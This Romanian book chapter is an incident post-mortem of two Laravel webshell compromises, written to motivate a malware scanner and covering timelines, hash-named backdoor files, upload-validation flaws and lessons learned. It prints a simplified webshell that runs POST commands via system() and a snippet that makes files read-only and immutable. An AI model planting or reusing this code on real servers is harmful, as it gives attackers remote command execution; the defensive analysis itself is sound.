🔒 Hacked
Capitolul 2

ClipCraft și Cetatean.ro: Două atacuri pe care le-am supraviețuit

Acest capitol nu e teorie. E o autopsie.

Între decembrie 2025 și ianuarie 2026, două dintre aplicațiile noastre Laravel de producție au fost compromise. Afaceri reale. Utilizatori reali. Date reale în pericol.

Îți împărtășim tot ce am învățat - cronologia, fișierele, tehnicile - ca să poți recunoaște aceste tipare înainte să devină problema ta.

⚠️

Nu Era Prima Dată

Înainte de ClipCraft și Cetatean.ro, experimentasem deja un atac similar pe shared hosting. Douăsprezece aplicații Laravel pe un singur cont de hosting—majoritatea compromise cu același malware de spam SEO. Un punct slab, douăsprezece site-uri infectate. Atunci am realizat prima dată: shared hosting-ul îți multiplică riscul. Dar nu am învățat lecția suficient de repede.

Atacul #1: ClipCraft (Decembrie 2025)

ClipCraft este o platformă de creare video alimentată de AI. Construită pe Laravel, ajută creatorii de conținut să genereze automat videoclipuri scurte pentru TikTok, Instagram Reels și YouTube Shorts—complete cu narare AI, subtitrări dinamice și editare automată. Funcționa fără probleme de luni de zile. Apoi a venit Crăciunul.

Cronologie

DatăOraEveniment
Dec 24NecunoscutăBackdoor-ul inițial 1e58d74cc1ff.php plantat în /public/
Dec 2502:03Primul acces înregistrat de la IP-ul 194.110.207.198
Dec 25-26În desfășurareAtacatorul explorează sistemul de fișiere, încarcă shell-uri adiționale
Dec 26DimineațaDirectoare de spam SEO create: d2f08/, bb75f/, etc.
Dec 26După-amiazaaccesson.php copiat în ~15 directoare
Dec 27SearaDescoperim breșa din întâmplare
🚨

72+ Ore Nedetectat

Atacatorul a avut acces liber la serverul nostru pentru peste 72 de ore înainte să observăm ceva în neregulă. Nu exista monitorizare. Nicio alertă. Nicio scanare automată.

Fișierele Malware

Iată ce am găsit când am început investigația:

Webshell-ul Principal:

/public/1e58d74cc1ff.php

Acesta era backdoor-ul principal - un webshell complet cu management de fișiere, execuție de comenzi și capabilități de upload.

Shell-uri de Backup:

/public/cf7a7e59e4.php
/public/98e2628301.php
/public/7a3b2c1d4e.php

Atacatorul a implementat multiple shell-uri de backup cu nume hash randomizate. Dacă găseam și ștergeam unul, celelalte încă funcționau.

Răspânditorul:

accesson.php

Acest fișier a fost copiat în aproximativ 15 directoare din proiect:

/public/accesson.php
/storage/app/public/accesson.php
/resources/accesson.php
/app/accesson.php
/config/accesson.php
/database/accesson.php
... și altele

Directoare de Spam SEO:

/public/d2f08/
/public/bb75f/
/public/a9c3e/

Acestea conțineau mii de fișiere HTML cu listări de produse false, spam farmaceutic și link-uri de gambling - toate proiectate să deturneze autoritatea SEO a domeniului nostru.

Tehnici de Atac Folosite

1. Fișiere cu Nume Hash

Fiecare fișier malițios folosea un șir hex aleatoriu ca nume:

Asta face detectarea manuală aproape imposibilă. Cum identifici un fișier malițios printre mii când arată ca un fișier cache sau upload temporar?

2. Persistență Multi-Locație

Copiind accesson.php în 15+ directoare, atacatorul s-a asigurat că:

3. Auto-Protecție

Webshell-urile includeau mecanisme de auto-protecție:

Tehnici de Auto-Protecție MALICIOUS CODE
// Setează permisiunile fișierului la read-only
chmod(__FILE__, 0444);

// Încearcă să seteze flag-ul immutable (Linux)
@shell_exec('chattr +i ' . **FILE**);

// Dezactivează raportarea erorilor
error_reporting(0);
ini_set('display_errors', 0);

4. Comenzi Bazate pe Parametri

Webshell-urile foloseau parametri URL pentru funcții diferite:

Cum Au Intrat?

Investigația noastră a indicat spre un cont de admin compromis. Atacatorul probabil:

  1. A obținut credențialele prin phishing sau credential stuffing
  2. S-a logat în panoul de admin Laravel
  3. A găsit o funcționalitate de upload cu validare insuficientă
  4. A încărcat webshell-ul inițial deghizat ca imagine
💀

Punctul de Intrare

Backdoor-ul inițial a fost încărcat printr-o funcționalitate legitimă a aplicației noastre. Validarea upload-ului verifica tipul MIME dar nu extensia fișierului în mod riguros. Un fișier numit image.php cu un tip MIME falsificat a trecut de validare.


Atacul #2: Cetatean.ro (Ianuarie 2026)

Trei săptămâni mai târziu, s-a întâmplat din nou - la un proiect diferit.

Cetatean.ro este o platformă de analiză a știrilor care ajută cetățenii români să-și dezvolte gândirea critică despre media. Numele înseamnă “Cetățean” în română. Folosind evaluare de credibilitate alimentată de AI, permite utilizatorilor să analizeze articole de știri pentru bias și acuratețe. Mizele erau mari—încrederea utilizatorilor și credibilitatea platformei erau în joc.

Descoperirea

Spre deosebire de ClipCraft, nu am descoperit acest atac noi înșine.

Scanner-ul de malware Hostinger a semnalat un fișier suspect:

/storage/app/public/kjrce03dcm.php
ℹ️

Detectare de la Provider-ul de Hosting

Scanner-ul generic al provider-ului nostru de hosting a găsit ce noi am ratat. Dar scanner-ul lor nu e conștient de Laravel - l-a prins doar pentru că tiparul se potrivea cu semnături cunoscute de webshell.

Malware-ul

Fișier: kjrce03dcm.php Locație: /storage/app/public/ Tip: Webshell compact (variantă China Chopper)

Fișierul era mic - doar aproximativ 4KB - dar extrem de periculos:

Structura Webshell-ului (Simplificată) MALICIOUS CODE
<?php
// Dezactivează erorile
@error_reporting(0);
@ini_set('display_errors', 0);

// Acceptă comenzi via POST
if(isset($_POST['cmd'])) {
  echo '<pre>';
  $cmd = $_POST['cmd'];
  // Execută și afișează output-ul
  @system($cmd);
echo '</pre>';
}

// Operațiuni pe fișiere via GET
if(isset($_GET['action'])) {
  switch($_GET['action']) {
case 'upload': /_ ... _/ break;
case 'download': /_ ... _/ break;
case 'delete': /_ ... _/ break;
}
}
?>

Vectorul de Atac

De data aceasta, punctul de intrare era diferit:

  1. Aplicația avea o funcționalitate de upload public de fișiere pentru documente utilizator
  2. Upload-ul mergea în storage/app/public/ (accesibil public via symlink)
  3. Validarea verifica dimensiunea fișierului și tipul MIME, dar nu extensia
  4. Atacatorul a încărcat kjrce03dcm.php direct

Ce Ne-a Salvat

Două lucruri au prevenit daune majore:

  1. Detectare timpurie - Hostinger l-a semnalat în 48 de ore
  2. Propagare limitată - Atacatorul nu se răspândise încă în alte directoare

Dar asta a fost noroc, nu pricepere.


Tipare Comune Între Atacuri

Analizând ambele incidente, au apărut tipare clare:

1. Directoare Țintă

Ambele atacuri au țintit directoare accesibile public:

DirectorDe Ce E Țintit
/public/Accesibil direct web
/storage/app/public/Accesibil via symlink
/public/uploads/Destinație upload utilizator

2. Strategii de Nume Fișiere

StrategieExempluScop
Hash aleatoriu1e58d74cc1ff.phpEvită detectarea
Nume comuncache.phpSe integrează
Similar cu legitimconfig.php.bakArată ca backup

3. Auto-Conservare

Ambele webshell-uri includeau:

4. Fără Monitorizare = Fără Detectare

Niciunul dintre atacuri nu a fost detectat de sistemele noastre. Aveam:


Lecții Învățate

Lecția 1: PHP Nu Ar Trebui Să Existe Niciodată în Directoare de Upload

🚨

Regula de Aur

Nu există NICIODATĂ un motiv legitim pentru ca un fișier .php să existe în:

  • /storage/app/public/ - /public/uploads/ - Orice director de upload utilizator

Dacă un fișier PHP apare acolo, e malware. Punct.

Lecția 2: Tiparele Numelor de Fișiere Contează

Numele de fișiere bazate pe hash precum 1e58d74cc1ff.php sunt aproape întotdeauna malițioase. Fișierele Laravel legitime au nume lizibile.

Lecția 3: Un Backdoor Devine Multe

Atacatorii nu se opresc la un singur punct de intrare. Creează imediat backup-uri și se răspândesc în alte locații. Găsirea unui fișier malițios înseamnă că probabil sunt mai multe.

Lecția 4: Verificarea Manuală Nu Scalează

Aveam mii de fișiere PHP în aceste proiecte. Inspecția manuală era imposibilă. Aveam nevoie de automatizare.

Lecția 5: Scannerele Generice Nu Sunt Suficiente

Scanner-ul Hostinger a găsit kjrce03dcm.php pentru că se potrivea cu o semnătură cunoscută. Dar ar fi ratat:

Lecția 6: Shared Hosting-ul Multiplică Riscul

Îți amintești atacul pe care l-am menționat la început? Înainte de ClipCraft și Cetatean.ro, douăsprezece aplicații pe shared hosting au fost compromise dintr-o singură lovitură. Pe shared hosting, o singură aplicație vulnerabilă poate duce la infectarea tuturor—fie prin contaminare între conturi, fie pur și simplu pentru că atacatorii scanează toate site-urile de pe același IP.

Dacă rulezi mai multe aplicații Laravel pe shared hosting, împart același pool de risc. O verigă slabă compromite totul.


Nașterea Acestui Proiect

Aceste două atacuri - la trei săptămâni distanță unul de altul - ne-au forțat să acționăm.

Nu puteam continua să sperăm că vom fi norocoși. Aveam nevoie de:

  1. Scanare automată care înțelege structura Laravel
  2. Monitorizare în timp real care ne alertează despre amenințări noi
  3. Detectare de semnături pentru tipare de malware cunoscute
  4. Analiză comportamentală pentru amenințări necunoscute
  5. Zero false positive-uri ca să putem avea încredere în alerte

De aceea am construit Laravel Malware Scanner.

Și de aceea îți împărtășim această carte - ca să poți învăța din greșelile noastre în loc să le faci pe ale tale.


Următorul: Capitolul 3 - Cei 6 Vectori de Atac Comuni în Laravel →

În următorul capitol, vom examina cele mai comune moduri prin care atacatorii compromit aplicațiile Laravel - inclusiv CVE-urile critice pe care trebuie să le cunoști.